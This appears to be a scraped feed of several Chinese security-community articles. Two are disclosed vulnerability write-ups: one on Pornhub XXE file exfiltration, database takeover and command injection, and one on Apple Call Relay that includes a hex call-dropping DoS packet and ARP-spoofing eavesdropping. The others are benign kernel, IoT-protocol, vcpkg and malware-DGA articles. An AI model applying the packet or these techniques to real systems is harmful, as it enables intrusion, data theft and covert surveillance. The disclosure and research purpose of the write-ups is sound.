我最终运行了两个服务器，一个是XML的，第二个是用来接受文件的（使用了NetCat，因为大多数的文件都太大，对于一般的服务器不能通过URL来接收）
第一个XML包含了两个外部的字段实体：
第一个xml.xml是用来读取远程文件源码的
第二个xml2.xml是得到xml.xml读取到的代码并发起一个请求到本地服务器（这样我们就可以获取到Pornhub的代码了）
总结下，我攻击的步骤：
1.向Pornhub的服务器发送一个Post请求
2.Pornhub的服务器下载第一个xml文件，即：xml.xml
3.Pornhub的服务器下载第二个xml文件，即：xml2.xml
4.Pornhub的服务器发送一个Get请求到第二个服务器的URL，其中带有一个a字段，负责存放base64之后Pornhub服务器上的本地文件
**获取配置文件**
从此刻开始以后，我的黑盒状态下的研究变成了在白盒状态下研究了，此时，我觉得是时候联系pornhub.com，与他们分享我的发现了。
当我准备把发现报告给Pornhub之时，我下载了他们部分的资源，偶然发现了pornhub的注数据库凭证信息。
PDO的MySQL驱动有个"PDO::MYSQL_ATTR_INIT_COMMAND"选项，它允许我通过PDO的构造方法来执行语句。
在我获取到了连接字符串后，我能够去发送带有PDO类的请求，从而在Pornhub的数据库上执行任何的语句了。这个发现稍后被加入到了第一个报告之中。
**www.pornhub.com 代码执行**
现在我是有了pornhub全站新鲜代码武装的人了，而且还能够完全访问pornhub的数据库，我猜测对于我去找到一个主站的远程代码执行将会变得相当容易。好吧，还是没那么容易的。
我在GIF产生的原理中找到了调用PHP exec函数的点：
显然，你可以从pornhub.com的任何一个视频中制作一个GIF，并且这个视频的文件路径是从数据库中获得的，并且没有任何形式的转义。
在我成功进行这之前，Pornhub团队已经禁掉了upload.pronhub.com上的URL，从而来暂时避免这个漏洞造成危害（根据我提供给他们的第一份报告），但是www.pornhub.com上的URL还是可以访问的。可是，这个网站禁止了向外部的连接。所以，我不能获取更多的泄露信息。
为了我在pornhub.com上即将到来的RCE的POC，我将数据库中的“filename”改为了’sleep
60’，可是我忽视掉了主数据库有一个30分钟的缓存…
在我耐心的等候更新的时候，我使用最新发现的SQLite和DirectoryIterator原生类注入来寻找可写的路径，但是一无所获。
我一直尝试着去执行一个命令并从数据库得到结果，在我测试的过程中，Pornhub团队封锁了这个URL，因而我只能以一个没有结果的成功的远程代码执行来作为我整个研究的总结（先前写的‘sleep’命令在数据库缓存更新后确实执行了）。
这个远程代码执行的详细细节，也被我添加进了我之前提供给pornhub.com的报告之中。
**总结**
对象注入，与SQL注入相比，显得相对陌生。开发人员总是没有意识到它们也可能造成危险的漏洞，所以难得去确保他们的代码在此类问题上的安全性。然而，如果被正确的使用，它们可以帮助研究者发现无数的利用点。就我这个例子而言，这个问题给了我充足经费去我一直以来需要的国外度假，但是也帮助我证实了一点
– 如果你全心全意在一个目标上，你就可以实现它！（或者以我的例子来说 – 黑掉这无法无边的pornhub.com）
**时间线：**
2016-05-10 – 发现反序列化 – 没有报告
2016-05-15 – 报告路径泄露
2016-06-01 – 报告文件泄露
2016-06-02 – 添加：整个数据库控制
2016-06-06 – 添加：代码执行
2016-07-06 – 10,000$ 来自pornhub的奖金
2016-09-12 – Pornhub 修复了问题
2016-10-03 – 报告被公开 | 社区文章 |
# 【技术分享】如何利用苹果的Call Relay协议DIY间谍软件（下）含视频
|
##### 译文声明
本文是翻译文章，文章来源：martinvigo.com
原文地址：<http://www.martinvigo.com/diy-spy-program-abusing-apple-call-relay-protocol/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】如何利用苹果的Call
Relay协议DIY间谍软件（上）**](http://bobao.360.cn/learning/detail/4379.html)
**写在前面的话**
****
本系列文章分上下两集，上集将对苹果Call
Realy服务的运行机制以及协议内容进行阐述，并让大家对该协议有一个大致的了解，而下集将会告诉大家如何利用该协议中的安全漏洞来对目标用户进行监控，并自行动手制作间谍工具。
**DoS来电通话**
****
虽然这种攻击方式的影响并不算非常大，但是它仍然能够体现出模糊测试的实用性。在这种攻击场景下，我可以伪造一个数据包，并终止任意目标用户的任意来电通话。也就是说，你只需要发送一个数据包，目标用户的来电通话就会立刻被挂断。还记得我们在本系列文章的上集中所介绍的Call
Realy协议的不同处理阶段吗？我突然想到，如果我向目标设备发送不同阶段的数据包，会发生什么？比如说，在“声音传输阶段”发送一个“通话协商阶段”的数据包。实际上，在这种情况下协议并不会处理不符合条件的数据包。当iPhone开始处理一通新的来电时，如果Macbook发送了其他类型的数据包，则通话将会终止。
现在的问题就是如何伪造一个数据包，我们需要这个数据包能够在事先不知道通话ID之类信息的情况下适用于任何通话来电、用户和设备。正如上图所示，我选择了通话协商阶段的第一个数据包，它包含多个与当前通话相关的数据域。为了保证iPhone不会忽略我们的数据包，我需要对其中的部分字节数据修改为空（“0”）。尝试多次之后，我们得到了下面这个神奇的DoS数据包：
20040004000000000000000000b002000000000000000000000000000000000000000000000000000000000000
我们需要注意数据包的长度，数据包header和b002数据域看起来应该是数据包的类型识别符。如果你将这个数据包发送给iPhone或MacBook，那么通话将会立刻终止。你可以用它来对目标设备进行泛洪攻击，并利用该协议来防止用户接听电话。
**通过麦克风监听用户**
****
其实这个才是我的主要目的，即通过手机麦克风来监听用户。我进行了大量的尝试，结果如下：
1\. 我无法窃听通话
2\. 我无法注入语音数据
3\. 我无法重放通话数据
4\. 我无法重定向通话
5\. 使用加密
所以说，如果我没办法访问到语音Payload的话该怎么办呢？此时，我突然想到了Adi Shamir的一句名言：“在未来，加密算法最大的一个问题
**并不是会被攻击者所破解，而是被绕过。** ”
因此我意识到，也许我需要找到某种侧信道攻击方法来访问目标用户的语音信息。此时，我开始思考整个过程中电话挂断是如何进行的。我认为，如果我在MacBook上挂断电话，那么系统则会向iPhone发送一条信息或某种特殊的数据包来通知设备此次通话已结束。我收集到的网络数据（包括通话结束）如下所示：
我能看到的只是语音Payload数据包停止发送了，这就非常奇怪了，因为MacBook总得要通知iPhone通话一结束吧？因此我再对网络追踪数据进行了分析，此次分析数据包括APNS流量：
果然没错，挂断通话时系统向APNS发送了一些数据包。实际上，当你在MacBook上挂断电话之后，系统并不是使用P2P链接来向iPhone发送信息的，当我们点击“挂电话”之后，MacBook会向苹果发送一条推送通知。接下来，苹果会向iPhone发送另一条推送通知，通知内容都是一样的。此时，iPhone便会关闭相应端口并终止通话。当通话挂断之后，MacBook将无法在与iPhone通信了。
这种设计存在很大的问题，即苹果通过这种非常不安全的通信信道（APNS）来实现了Call
Relay协议，而且苹果自己也表示：“推送通知并不能保证被成功送达，请不要在敏感操作中使用推送通知。”
但是苹果自己都没有遵守自己的实践建议，而且OWASP Top 10（移动端）中也描述了这种安全问题。
那么接下来的问题就是，我们如何去利用这种设计缺陷？如果我能够阻止“挂断”消息被送达，会发生什么呢？
通过利用ARP欺骗+中间人攻击，我能够屏蔽掉目标用户所发送的全部APNS流量。此时，苹果既无法得知用户是否挂断了电话，也无法通知iPhone。从用户接口层来看，目标用户不会发现任何可疑的迹象。但问题就是，负责处理通话的守护进程会在后台保持运行，而通话永远都不会被挂断。对于用户来说，他们会认为通话已经结束了，但实际上通话仍在进行中，而攻击者则在另一边持续监听着。
演示视频如下：
视频地址：<https://youtu.be/zx0wDshqb7o>
**在多方通话中伪装用户**
当我发现苹果使用推送通知来发送重要消息时，我又注意到了该协议还支持多方通话。因此，如果当你正在通话并且此时又有人给你打电话，那你就可以随时根据自己的需要来切换通话了。
实际上，“切换通话”的信息也是通过推送通知来发送的。这也就意味着，攻击者将能够阻止信息被送达，而目标用户将会看到UI界面发生改变，并认为自己已经成功切换了通话。如果我们能够结合这两个问题（切换通话+挂断电话）来利用该漏洞的话，那么这种功能就非常的强大了。
简单来说，处于同一网络下的攻击者将能够通过分析目标用户的网络流量来检测当前正在进行的通话。接下来，攻击者可以给目标用户打电话，并替换当前通话。攻击者需要等待用户切换通话，但是他们还可以屏蔽掉切换通话状态的数据包。此时的UI界面显示的是目标用户之前的通话方，但实际上攻击者仍然正在跟目标用户通话。
演示视频如下：
视频地址：<https://youtu.be/vsHGL8lDsho>
**漏洞利用**
为了利用这些安全漏洞来实现我们自己的监听程序，下面有几个要求是我们必须要满足的：
1\. 我们只能针对苹果设备发动攻击；
2\. 我们必须能够发送APNS数据包；
3\. 我们需要知道目标用户的手机号码；
**总结**
****
由于篇幅有限，因此关于“如何检测网络内的苹果设备”、“发送APNS数据包”以及“如何得知目标用户的手机号码”等内容请大家移步原文查看。
**时间轴**
****
跟之前一样，我将我的所有发现负责任地披露给了苹果公司。虽然漏洞的上报和修复过程遇到了各种各样的问题，但最终这些安全漏洞都成功修复了。根据苹果公司的安全公告，iOS
10.1和MacOS 10.12.1均已修复本文所介绍的全部安全问题。
苹果发布的四个漏洞CVE编号如下：
**CVE-2016-4635**
**CVE-2016-4721**
**CVE-2016-4722**
**CVE-2016-7577** | 社区文章 |
# 剖析脏牛1_mmap如何映射内存到文件
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 测试程序
int fd;
struct stat st;
void *mem;
void processMem(void)
{
char ch = *((char*)mem);
printf("%c\n", ch);
}
int main(void)
{
fd = open("./test", O_RDONLY);
fstat(fd, &st);
mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
processMem();
}
## 进入MMAP
* exp调用mmap
最终变成syscall(9)
## sys_mmap()
* 进入entry_SYSCALL_64切换内核保存用户栈, 然后通过sys_call_table调用到sys_mmap()函数
* 进行一些简单检查后进入sys_mmap_pgoff()
## sys_mmap_pgoff()
* 就干了两件事: 根据fd找到文件对象, 然后调用vm_mmap_pgoff
## vm_mmap_pgoff()
* vm_mmap_pgoff()
* 获得mmap_sem这个信号量
* 调用do_mmap_pgoff()
* 如果需要的话调用mm_populate()
## do_mmap_pgoff()
* 这是个do_mmap()的包装函数
## do_mmap()
* 进行一些准备工作:
* 首先获取当前进程的内存描述符
* 然后处理一下基地址和内存权限
* 再调用get_unmapped_area()从当前进程的虚拟地址空间中找到一片空闲区域
* 这里找到的空闲地址是0x00007ffff7ffa000
* 接着处理标志, 并进行一些简单的检查
* 如果要映射到文件, 那么根据映射类型进行一些文件相关的检查
* file->f_op对于文件对象的方法集合, 这里其mmap方法对应shmem_mmap函数
* 接着调用mmap_region()进行真正的映射工作, 并处理populate标志
## mmap_region()
* mmap_region()首先进行三个小检查:
* 这个进程的虚拟地址空间还够不够映射
* 如果这片区域已经有映射了, 那么就取消掉
* 如果是私有可写入映射, 检查下内存还够不够进行写时映射
* 接着会申请一个VMA对象用于描述映射的虚拟内存区域
* 可以直接扩展一个已有的VMA, 比如权限相同地址相邻, 那么就不用分配一个新的VMA对象了
* 否则从内核中分配一个00初始化的VMA对象并初始化
* 接着对新的VMA对象进行一些文件相关初始化操作, 最重要的是两步
* 获取一个文件对象, 增加引用计数: get_file()
* 调用文件对象的f_op->mmap()方法设置VMA
* 对于./test文件, 会调用shmem_file_operations.mmap, 也就是shmem_mmap()函数, 这个函数做两件事:
* touch一下文件, 表示访问过
* 设置这片虚拟内存的标准操作为shmem_vm_ops
* vma->vm_ops是这片VMA上的各种操作集合, 对应struct vm_operations_struct结构体
* shmem_vm_ops则是文件对象实现的, 当VMA发生某些事件时需要调用的函数
* 其中最重要的就是缺页异常处理函数shmem_fault()
* 缺页异常会在后面说到, 限制只要知道如果访问这片新建的VMA发生缺页异常, 就会调用vma->vm_ops->fault(), 也就是调用shmem_fault()函数
* 然后把新建的VMA对象插入到mm内部从而完成VMA的创建工作
* 最后进入out部分, 进行一些收尾工作并设置这片虚拟内存中每一页的属性(vm_page_prot)后结束映射
## 退出系统调用
* 首先所有函数栈一路回退到entry_SYSCALL_64, 这部分就是正常的C回退, 只是在内核地址空间发生而已
* 回退到entry_SYSCALL_64后, 先把SyS_mmap()的返回值写入到内核栈上保存的pt_regs->rax中
pt_regs用来保存陷入内核时的CPU状态, 离开内核态时就用pt_regs恢复用户态的执行环境, 从而继续执行
* 把pt_regs->rax设置为返回值, 就可以在恢复用户的执行环境时设置rax寄存器为返回值, 从而符合C的函数调用约定
* 由于退出系统调用的指令sysret会使用%rcx设置%rip, %r11设置EFLAGS, 因此要用内核栈中pt_regs->RIP设置%rcx, pt_regs->EFLAGS设置%r11
* 然后用pt_regs恢复其余通用寄存器
* 然后用pt_regs->rsp设置%rsp, 从而恢复用户态的栈
* 最后swapgs指令从MSR寄存器中换出用户态的gs, 并保存内核态的gs, 最后调用sysret恢复到用户态的执行
## 为什么没有读文件?
* 到这里我们会发现一个问题, mmap只是根据参数在进程的mm中插入了一个VMA对象, 并没有真正的把文件中的信息读入, 这是为什么?
* 这其实是请求调页与写时复制的结果, 虽然映射到了文件,但不代表全部都会用到, 当你真正读写刚刚映射的内存区域时, MMU会发出一个缺页异常给CPU, CPU调用内核的缺页异常处理函数, 这时候再真正的分配物理内存或者把文件的内容读到物理内存中, 实现按需分配
* 后续留到下一个文章中细说 | 社区文章 |
# 主流无线协议（智能家电安全连载第二期）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**一、有线控制系统的缺陷**
由于有线控制系统缺陷比较明显,无线控制逐渐占据智能家电市场。
有线系统缺陷如下:
1.布线麻烦;
2.造价高
3.可扩展性差
4.影响美观
**二、三大主流无线协议对比**
无线控制虽然比有线更有优势,但是依旧有许多问题迸发而出,最显而易见的问题就是业内尚未制定推选出一个智能家居无线通信的统一协议。各大厂商都渴望将自己所提倡或采纳的协议作为智能家居的统一协议,但毕竟事与愿违,导致目前智能家居主流协议出现“三足鼎立”之势。
无线技术参数比较
|
WiFi
|
Bluetooth
|
Zigbee
---|---|---|---
出现时间
|
1997
|
1998
|
2001
频率
|
2.4G/5G
|
2.4G
|
2.4G
发射功率
|
终端36mW(16dBm)
AP 320mW (25dBm)
|
2.5mW(4dBm)
|
1mW(0dBm)
传输距离(m)
|
50-300
|
10
|
5-100
通讯速率
|
1M-600M/s
|
1M/s
|
250kB/s
网络容量
|
50 取决于AP性能
|
8可扩展8+255
|
255 可扩展65000
WiFi传输范围广,传输速度快,健康安全,普及程度高。成为移动终端连入互联网的重要途径。
蓝牙功率低传输速率一般,设备连接数量少,蓝牙设备具有单一连接性。
Zigbee 没有上面两种技术应用广泛,对于非技术人员而言是相对陌生的技术。其主要优点是功耗低、成本低、组网能力强,其缺点也比较明显,传输速率低且有时延。
**三、无线协议新发展**
ZigBee联盟最新发布的ZigBee
3.0版标准,强化低延迟与低功耗优势,并加入网际网路通讯协定(IP)支援能力,能大幅简化家中各种装置互连设计的复杂度,同时实现让用户以IP网路进行远端操控,因而成为打造智慧家庭的理想技术。
由于ZigBee 3.0完全相容IP,ZigBee设备与Wi-Fi设备类似,通常透过路由器、闸道或机上盒连接到互联网,让人可在世界其他地方利用连接互联网的个人电脑、平板或智慧手机应用程式等任何其他设备实现即时控制。由于ZigBee完全相容Wi-Fi和IP,因此没必要在手机本身插入ZigBee晶片,从而发现和控制ZigBee连接的智慧家居和物联网设备。只要通过任何联网中心均可让这一切实现,这意味着,透过Wi-Fi或蜂窝网进行联网的个人电脑和智慧手机可以作为指示板,并可毫不费力发现并与其他ZigBee设备进行通讯。
蓝牙4.2标准最大特性在于:数据传输更快、隐私功能更强大,Ipv6网络支持。
这种标准下,如果没有用户的许可,蓝牙信号将无法连接和追踪用户设备,极大的保护了用户的隐私。可以放心的使用在可穿戴设备上,而不用担心被跟踪。新标准最大的改进还在于支持6LoWPAN,蓝牙4.2设备可以直接通过IPv6和6LoWPAN接入互联网。这一技术允许多个蓝牙设备通过一个终端接入互联网或者局域网,这样,大部分智能家居可以抛弃相对复杂的WiFi连接,改用蓝牙传输,让个人传感器和家庭间的互联更加便捷快速。
Zigbee以及蓝牙都在设法支持IPv6 , 连入互联网。Wi-Fi技术也在不断发展,主要从高速以及低功耗两方面进行改进。5Gwifi已经逐渐推向市场,5G
wifi将大大提高wifi的速率。除此之外,一种新的名为Li-Fi的无线互联网技术具有令人咋舌的超快速度,它可以让你“在1秒钟内下载23部DVD电影”。
功耗方面,美国华盛顿大学计算机科学家和电子工程师近日研发出一种新型的WiFi技术–无源WiFi。这种无源WiFi设备可以利用极其微弱的电能实现传统WiFi设备的传输功能,而耗电量仅为传统WiFi设备的耗电量的万分之一。
**四、新的协议Thread**
现在比较常用的网络协议有 WiFi、蓝牙、ZigBee,不过都有不足:WiFi 的功耗比较大,适合传输大量的数据;蓝牙功耗比较低,但现在还存在蓝牙 2.0
与蓝牙 4.0 并存的混乱局面,且不支持 IPv6;ZigBee 布线比较复杂,更适合商用。
三星、ARM、Nest 三家公司,强强联手,推出[Thread](http://www.threadgroup.org/),改进了上述协议中的不足,通过
6LoWPAN 技术支持 IPv6 。Thread 可支持 250
个以上设备同时联网,能够覆盖到家中所有的灯泡、开关、传感器和智能设备。优化了功耗,超低能耗,设备可以运行数年。此外,Thread 是基于 ZigBee
的,也就是说原有的 ZigBee 设备只需更新软件即可兼容 Thread。 | 社区文章 |
# 手把手教你构建vcpkg私有仓库
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
用vcpkg也有一段时间了，非常喜欢。这一年也打了不少比赛，写了很多很多重复的POC代码，想着能不能把以前打CTF或者写其他程序时，自己写的一些工具代码弄成一堆vcpkg包，并做成私有的vcpkg源里，方便管理，也供以后比赛或者写程序使用，于是就搜了一堆资料，同时也感谢朋友的帮助，在这里分享出来。
## 创建一个CMake工程
或许有人没用过CMake，放心我以前也没用过，这玩意儿学习曲线比较陡峭。但不用担心，你的vcpkg库用CMake做也是可以在VS工程里使用的，而且这个教程里学的CMake知识只是皮毛，但也完全够用，当作一个起点就行。而且CMake工程比VS工程适配性更好，还能直接编译到WSL里运行，一些要求环境的CTF题也能用，岂不美哉？
在这里创建一个k1ee库为例子
新建好后的目录结构如下
在这个例子工程里，打算写一个简单的读取文件所有字节的函数，做成库，因此首先删除VS为我们自动创建的文件，然后添加文件夹与文件，直到下面这个结构。
> 其中`test_data.dat`是给测试用的，随便输入什么。
## 根目录配置
首先打开根目录的CMakeLists.txt进行编辑，定义工程
cmake_minimum_required (VERSION 3.15)
project (k1ee VERSION 1.0 LANGUAGES CXX)
设置C++版本
set(CMAKE_WINDOWS_EXPORT_ALL_SYMBOLS ON)
set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
最后引用子文件夹里的CMakeLists.txt，提供一个选项是否编译Test
option(BUILD_K1EE_TESTS "Build Tests" ON)
include(GNUInstallDirs)
add_subdirectory(src)
add_subdirectory(include)
if(BUILD_K1EE_TESTS)
enable_testing()
add_subdirectory(test)
endif()
## 子目录配置
### cmake配置
不知道为什么需要，但如果想让vcpkg正确配置引用工程的CMake必须得添加，新建`k1eeConfig.cmake`，并编辑内容如下
@PACKAGE_INIT@
include("${CMAKE_CURRENT_LIST_DIR}/k1eeTargets.cmake")
check_required_components("@PROJECT_NAME@")
### src配置
这里存放所有代码的源文件，本文创建了一个file.cpp，如下
#include "k1ee/file.h"
#include <fstream>
#include "k1ee/exception.h"
std::vector<uint8_t> k1ee::read_all_bytes(const std::filesystem::path& path)
{
using namespace std::filesystem;
if(!exists(path) || is_directory(path))
throw k1ee::k1ee_runtime_error("file doesn't exist.");
auto size = file_size(path);
std::vector<uint8_t> ret(size);
std::ifstream fin(path, std::ios::binary);
if(fin.fail())
throw k1ee::k1ee_runtime_error("open file failed");
fin.read(reinterpret_cast<char*>(ret.data()), size);
if(fin.fail())
throw k1ee::k1ee_runtime_error("read file failed");
return ret;
}
配置CMakeLists.txt，首先通过`add_library`添加target并添加文件，第二个是给k1ee一个别名，设置版本号
cmake_minimum_required (VERSION 3.15)
add_library(k1ee
"file.cpp"
)
add_library(k1ee::k1ee ALIAS k1ee)
set_target_properties(k1ee
PROPERTIES
VERSION ${${PROJECT_NAME}_VERSION}
SOVERSION ${${PROJECT_NAME}_VERSION_MAJOR})
安装k1ee库本身并导出Target配置文件，生成Config文件
set(TARGETS_EXPORT_NAME "${PROJECT_NAME}Targets")
install(TARGETS k1ee
EXPORT ${TARGETS_EXPORT_NAME}
RUNTIME DESTINATION bin
LIBRARY DESTINATION lib
ARCHIVE DESTINATION lib
PUBLIC_HEADER DESTINATION include
)
include(CMakePackageConfigHelpers)
configure_package_config_file(
"${PROJECT_SOURCE_DIR}/cmake/${PROJECT_NAME}Config.cmake"
"${PROJECT_BINARY_DIR}/${PROJECT_NAME}Config.cmake"
INSTALL_DESTINATION lib/cmake/${PROJECT_NAME}
)
install(FILES "${PROJECT_BINARY_DIR}/${PROJECT_NAME}Config.cmake"
DESTINATION lib/cmake/${PROJECT_NAME})
install(
EXPORT ${TARGETS_EXPORT_NAME}
DESTINATION "${CMAKE_INSTALL_LIBDIR}/cmake/${PROJECT_NAME}"
)
通过install函数把这个工程加入安装这一行为（也就是从生成目录复制一些binary和文件到一个指定的release目录），指定一些安装目录。为了让vcpkg顺利配置还需要导出一个k1eeConfig.cmake。最后对于Debug编译不要导出include目录（vcpkg要求）
### include配置
把头文件都放在这里，为了在vcpkg用的时候以`#include<k1ee/xxx.h>`的方式引用，因此还需要放在一个k1ee文件夹里。在`k1ee/file.h`里写简单的函数声明
#pragma once
#include <iostream>
#include <vector>
#include <cstdint>
#include <filesystem>
namespace k1ee
{
std::vector<uint8_t> read_all_bytes(const std::filesystem::path& path);
}
把CMakeLists.txt放在k1ee文件夹外面
这样编写他
cmake_minimum_required (VERSION 3.15)
target_include_directories(k1ee PUBLIC
$<INSTALL_INTERFACE:include>
$<BUILD_INTERFACE:${CMAKE_CURRENT_SOURCE_DIR}>)
target_sources(k1ee PRIVATE
# Header files (useful in IDEs)
"k1ee/file.h"
"k1ee/exception.h"
)
install(DIRECTORY k1ee DESTINATION ${CMAKE_INSTALL_INCLUDEDIR})
通过`target_include_directories`会把include目录加入这个工程的引用目录
把头文件加入工程，然后通过install注册到引用目录，这样就会复制头文件到指定目录，如vcpkg的installed那里了。
### test配置
简单的测试API能不能用
> 把assert的大小判断改为你生成的dat文件大小
#include "k1ee/file.h"
#include <cassert>
int main()
{
auto ret = k1ee::read_all_bytes(R"(./data/test_data.dat)");
assert(ret.size() == 264);
}
配置CMakeLists.txt，并复制data文件夹到test目录
cmake_minimum_required(VERSION 3.15)
macro(add_k1ee_test _TEST_NAME)
add_executable(test_${_TEST_NAME} test_${_TEST_NAME}.cpp)
target_link_libraries(test_${_TEST_NAME} PRIVATE
k1ee::k1ee)
add_test(NAME k1ee_test_${_TEST_NAME} COMMAND test_${_TEST_NAME})
# Group under the "tests" project folder in IDEs such as Visual Studio.
set_property(TARGET test_${_TEST_NAME} PROPERTY FOLDER "Tests")
if(WIN32 AND BUILD_SHARED_LIBS)
add_custom_command(TARGET test_${_TEST_NAME} POST_BUILD COMMAND ${CMAKE_COMMAND}
-E copy $<TARGET_FILE:k1ee> $<TARGET_FILE_DIR:test_${_TEST_NAME}>)
endif()
endmacro()
add_k1ee_test(file)
add_custom_command(TARGET test_file POST_BUILD COMMAND ${CMAKE_COMMAND}
-E make_directory $<TARGET_FILE_DIR:test_file>/data)
add_custom_command(TARGET test_file POST_BUILD COMMAND ${CMAKE_COMMAND}
-E copy ${CMAKE_CURRENT_SOURCE_DIR}/data/test_data.dat
$<TARGET_FILE_DIR:test_file>/data/test_data.dat)
首先定义一个macro用来方便添加测试项，然后add一个可执行程序，并且链接我们的库k1ee::k1ee（别名，用原名也可以），随后add_test，这样VS里的测试功能就可以用了。后面如果打开了编译为动态链接库还需要复制到测试目录。
这样就配置好了，可以在顶部进行测试
## 上传至github仓库
这个小工程已经实现好了，下一步我们需要上传到一个github仓库，当然也可以放在本地或是使用其他vcpkg的下载源方法，本文使用从github下载源。
> 上传之前需要创建LICENSE文件，不然后面编译不过，可以直接在github上添加
在k1ee文件夹`git init`，并且创建`.gitignore`排除`.vs`与`out`，随后上传。
本仓库地址是 [k1ee](https://github.com/cnSchwarzer/k1ee)
## 创建ports仓库
我们完成了库源码，还需要仿照vcpkg为这个库建立一个ports来帮助vcpkg下载和安装上面这个库，因此本地创建一个文件夹，姑且叫做`vcpkg-ports`，里面需要有ports文件夹提供库安装信息
在ports文件夹里，我们按照vcpkg的结构，创建k1ee文件夹，表示k1ee库。接下来还需要创建`vcpkg.json`以及`portfile.cmake`
其中vcpkg.json记录了这个库的基本信息
portfile.cmake就记录了k1ee这个库的下载、编译、安装的信息，我是仿照vcpkg官方源里cpr这个库，以及vcpkg官方文档编写的
首先编写下载方法，需要设置REF以及SHA512，参考下图
vcpkg_from_github(
OUT_SOURCE_PATH SOURCE_PATH
REPO cnSchwarzer/k1ee
REF 83f1f19e88e1074fdb9e688721cac55af55791f1
SHA512 e34af619b60bbb0f1171102d39dafe69edd0e170bf83eaa49a1021c94142d9f1ec57fa4ee5e6e6eaaa45cba86b75033155fe2ee9f1021c70b0fbc79747650213
HEAD_REF main
)
> 你也可以不指定这两个，而指定HEAD_REF为main，并在vcpkg install时指定
> —head，这样就直接使用仓库最新版本进行编译了，不用每次麻烦填REF与SHA512
>
>
> vcpkg_from_github(
> OUT_SOURCE_PATH SOURCE_PATH
> REPO cnSchwarzer/k1ee
> HEAD_REF main
> )
>
其中REF点击最新commit看地址即可查看
SHA512可以通过先设为1然后看报错信息查看
接下来配置CMake，对于Debug需要关闭include安装（vcpkg要求）
vcpkg_configure_cmake(
SOURCE_PATH ${SOURCE_PATH}
PREFER_NINJA
OPTIONS
-DBUILD_K1EE_TESTS=OFF
)
然后使用CMake安装，复制config文件，并且复制pdb供调试，移除debug目录下的include（官方推荐流程）
vcpkg_install_cmake()
vcpkg_fixup_cmake_targets(CONFIG_PATH lib/cmake/k1ee)
vcpkg_copy_pdbs()
file(REMOVE_RECURSE "${CURRENT_PACKAGES_DIR}/debug/include")
file(INSTALL ${SOURCE_PATH}/LICENSE DESTINATION ${CURRENT_PACKAGES_DIR}/share/${PORT} RENAME copyright)
然后还需要设置版权信息，输出到指定目录
file(INSTALL ${SOURCE_PATH}/LICENSE DESTINATION ${CURRENT_PACKAGES_DIR}/share/${PORT} RENAME copyright)
## 使用overlay-ports安装私有库
我们用overlay-ports进行测试安装，详情请看[官方文档](https://github.com/microsoft/vcpkg/blob/master/docs/specifications/ports-overlay.md)。主要就是通过–overlay-ports参数指定我们刚才创建的vcpkg-ports文件夹里的ports目录，vcpkg会检索其中所有的vcpkg.json进行安装。
需要注意的是，以后我们对vcpkg的每一个命令都需要指定overlay-ports了，这点体验并不是很好。
> 我们可以通过在环境变量中添加 `VCPKG_OVERLAY_PORTS=E:\Work\vcpkg-ports\ports` 来避免每次都要写的麻烦。
## 使用registries新功能安装
最后，我们可以使用vcpkg的manifests与registries这两个新功能，避免全局安装，进行工程局部安装
> 添加环境变量 VCPKG_FEATURE_FLAGS=manifests,registries,binarycaching,versions
对于VS工程，需要在工程属性的vcpkg选项卡打开Use Vcpkg Manifest
> 如果你在上面的vcpkg_from_github不想用REF以及SHA512，这里的Additional Options需要加–head
然后在工程的目录下创建vcpkg.json以及vcpkg-configuration.json
其中，vcpkg.json记录了这个工程的信息、版本、以及需要使用的vcpkg库
{
"name": "2-re",
"version-string": "0.0.1",
"dependencies": [
"k1ee",
"cpp-base64"
]
}
vcpkg-configuration里记录registries，意义是注册一些vcpkg库的下载源，比如k1ee不在官方库里，因此需要注册。
{
"registries": [
{
"kind": "git",
"repository": "https://github.com/k1ee/vcpkg-ports.git",
"packages": [ "k1ee" ]
}
]
}
对于CMake工程，此时双击CMakeSettings.json，确保存在这几个变量，如果没有，尝试清除CMake缓存（右键CMakeLists.txt，或检查环境变量是否正确），或者重启VS
然后对工程进行生成操作，就会自动下载依赖到项目的vcpkg_installed，局部安装。
## 使用安装的库
我们测试一下安装的k1ee库，随便新建一个VS工程
编译通过，链接库也正确复制了
再创建一个CMake工程测试，在CMakeLists.txt里找到我们的库
cmake_minimum_required (VERSION 3.15)
project ("k1ee-test")
set(CMAKE_CXX_STANDARD 20)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
# 将源代码添加到此项目的可执行文件。
add_executable (k1ee-test "k1ee-test.cpp" "k1ee-test.h")
find_package(k1ee CONFIG REQUIRED)
target_link_libraries(k1ee-test PRIVATE k1ee)
此时cmake就会自动寻找刚才安装的k1ee库，同样也能正确运行
## 结论
本文介绍了如何把自己的代码构建成一个CMake工程，并配置成vcpkg私有库。然后介绍了如何制作vcpkg-ports的私有源目录。把库与源目录上传github后，使用overlay-ports进行全局安装，或者registries进行本地安装。
最后，如果读者有任何不懂，可以参考这两个github库的源码。
* k1ee 库 [地址](https://github.com/cnSchwarzer/k1ee)
* vcpkg-ports 私有源 [地址](https://github.com/cnSchwarzer/vcpkg-ports) | 社区文章 |
# Pitou的DGA 虚拟算法分析（一）
|
##### 译文声明
本文是翻译文章，文章原作者 johannesbader，文章来源：johannesbader.ch
原文地址：<https://www.johannesbader.ch/2019/07/the-dga-of-pitou/#comparison-with-public-reports>
译文仅供参考，具体内容表达以及含义原文为准。
对一种非常有趣的DGA的分析文章，该DGA使用虚拟机作为保护措施。原文较长，故分为两个部分，第一部分先介绍对虚拟的逆向分析，第二部分介绍DGA的实现。
Pitou的域名生成算法(DGA)是迄今为止我逆向过的最难的DGA，其在内核模式下运行，并受到虚拟机的保护。在引文之后，本文将展示Pitou的虚拟机是如何工作的。之后，将介绍两种对字节码进行逆向的方法。最终，我会从Pitou中将DGA提取出来，用python进行复现
。完这篇文章的附录部分是完整的虚拟指令集的文档。
## 引文
在我看来，域名生成算法是一个恶意软件中最容易被人弄清的部分。对于一个没有加壳的样本，人们通常可以在几个小时内对算法进行逆向。为什么会这样呢？
